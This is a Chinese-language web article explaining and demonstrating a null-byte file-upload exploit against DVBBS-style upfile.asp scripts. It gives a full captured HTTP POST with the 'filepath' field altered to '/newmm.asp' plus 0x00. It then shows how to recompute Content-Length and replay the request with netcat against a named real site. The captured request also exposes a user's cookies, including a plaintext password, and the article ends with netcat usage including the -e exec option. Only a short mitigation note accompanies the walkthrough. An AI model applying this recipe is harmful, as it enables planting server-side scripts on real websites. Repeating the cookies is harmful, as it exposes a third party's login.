程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
 程式師世界 >> 編程語言 >> 網頁編程 >> PHP編程 >> 關於PHP編程 >> PHP和ASP上傳漏洞探究

PHP和ASP上傳漏洞探究

編輯:關於PHP編程

1 傳漏洞利用的原理只是針對form格式上傳的asp和php腳本***

nc(netcat)
用於提交數據包
dos界面下運行:
nc -vv www.***.com 80<1.txt
-vv: 回顯
80: www端口
1.txt: 就是你要發送的數據包 (更多使用方法請查看本區的帖子)
wse(wsockexpert) 對本機端口的監視,抓取ie提交的數據包

2 漏洞原理

下面例子假設的前提

www主機: www.***.com;
bbs路徑 : /bbs/
漏洞源於對動網上傳文件的研究,建議有一定編程經驗的看看dvbbs的upfile.asp文件,沒有必要全部看懂。upfile是通過生成一個form表上傳,如下

 

用到的變量::

filepath 默認值uploadface 屬性hiden
act 默認值upload 屬性hiden
file1 就是你要傳的那個文件

關鍵是 filepath 這個變量!

默認情況下我們的文件上傳到www.***.com/bbs/uploadface/

文件是用你的上傳時間命名的,就是upfile裡的這一句

filename=formpath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&rannum&"."&fileext
--------------------------------------

我們知道計算機裡面的數據是一""為標致的用過c語言的都知道:char data[]="bbs" 這個data數組長度是4: b b s
如果我們構造filepath如下,會怎麼樣呢?

filepath="/newmm.asp"
我們在2004.09.24.08.24傳的文件就會發生變化沒有改時::_blank>http://www.***.com/bbs/uploadface/200409240824.jpg 用我們構造的filepath時:_blank>http://www.***.com/newmm.asp/200409240824.jpg

這樣當服務器接收filepath數據時,檢測到newmm.asp後面的就理解為filepath的數據就結束了。這樣我們上傳的文件,比如c:.asp 就保存成: _blank>http://www.***.com/newmm.asp

3 後期補充

漏洞公布以後很多網站做了相應的處理,但是對於filepath的過濾和處理都不行。有很多網站只是加了n個hiden屬性的變量對付網上公布的upfile.exe就是那個上傳漏洞利用工具或者filepath變量利用工具(老兵的)...但是最基本的沒改啊。而且很對網站的插件裡有類似的漏洞,我要說的不要依賴哪些專門的工具。自己改wse抓到的包裡的filepath變量,然後在用nc提交。就算他加n個hiden變量也於事無補。當然,如果對filepath做了很嚴格的過濾的話我們的這些理論就將宣告終結就是我們的新理論誕生的時候!

4 詳細實例
一、wse抓包結果(存到1.txt裡):

post /bbs/upphoto/upfile.asp http/1.1
accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,

application/x-shockwave-flash, application/vnd.ms-excel,

application/vnd.ms-powerpoint, application/msword, */*
referer: _blank>http://www.xin126.com/bbs/upphoto/upload.asp
accept-language: zh-cn
content-type: multipart/form-data;

boundary=-----------7d423a138d0278
accept-encoding: gzip, deflate
user-agent: mozilla/4.0 (compatible; msie 6.0; windows nt 5.1; .net clr 1.1.4322)
host: _blank>www.xin126.com
content-length: 1969
connection: keep-alive
cache-control: no-cache
cookie: aspsessionidaccccdcs=njhcphpalbcankobechkjanf;

iscome=1; gamvancookies=1; regtime=2004%2d9%2d24+3%3a39%3a37;

username=szjwwwww; pass=5211314; dl=0; userid=62;

ltstyle=0; logintry=1; userpass=eb03f6c72908fd84

-----------------------------7d423a138d0278
content-disposition: form-data; name="filepath"

../medias/myphoto/
-----------------------------7d423a138d0278
... ...

上傳
---------------7d423a138d0278-----------------

二、ultraedit打開1.txt改數據:

...... 
-----------------------------7d423a138d0278
content-disposition: form-data; name="filepath"
/newmm.asp <===這個黑色代表一個空格是 0x20,改成0x00就可以了
......
----------------------------

三、重新計算cookies長度,然後nc提交

nc -vv _blank>www.xin126.com 80 <1.txt

ultraedit是一個16位編輯器網上可以下載得到
我們主要用來寫那個結束標致: ====>16位表示:0x00或者00h
其實你改的時候就直接再filepath的結尾處加個00就ok了

計算cookies長度===>你把fillepath改了之後、肯定是或+或—cookies的長度變了


......
host: _blank>www.xin126.com
content-length: 1969 <======就是這個
connection: keep-alive
cache-control: no-cache
......

計算會吧?一個字母、數字就是1

對於上傳漏洞提出的解決思路:(僅供參考)

1、一般的上傳是把上傳路徑作為一個變量來處理
===>我們的對策就是把filepath變成常量。。。
這個方法是目前最有效的(我認為的)

2、加強對於的處理,原來我們是讀到這裡就結束
我們繼續讀直道下一個變量開始的地方,處理就ok了

附:NC Usage:

監聽外部主機
nc [-options] hostname port[s] [ports] ...
監聽本地主機
nc -l -p port [options] [hostname] [port]
options:
-d detach from console, stealth mode
-e prog inbound program to exec [dangerous!!]
-g gateway source-routing hop point[s], up to 8
-g num source-routing pointer: 4, 8, 12, ...
-h this cruft
-i secs delay interval for lines sent, ports scanned
-l listen mode, for inbound connects
-l listen harder, re-listen on socket close
-n numeric-only ip addresses, no dns
-o file hex dump of traffic
-p port local port number
-r randomize local and remote ports
-s addr local source address
-t answer telnet negotiation
-u udp mode
-v verbose [use twice to be more verbose]
-w secs timeout for connects and final net reads
-z zero-i/o mode [used for scanning]
port numbers can be individual or ranges: m-n [inclusive]

(責任編輯:

  1. 上一頁:
  2. 下一頁:
Copyright © 程式師世界 All Rights Reserved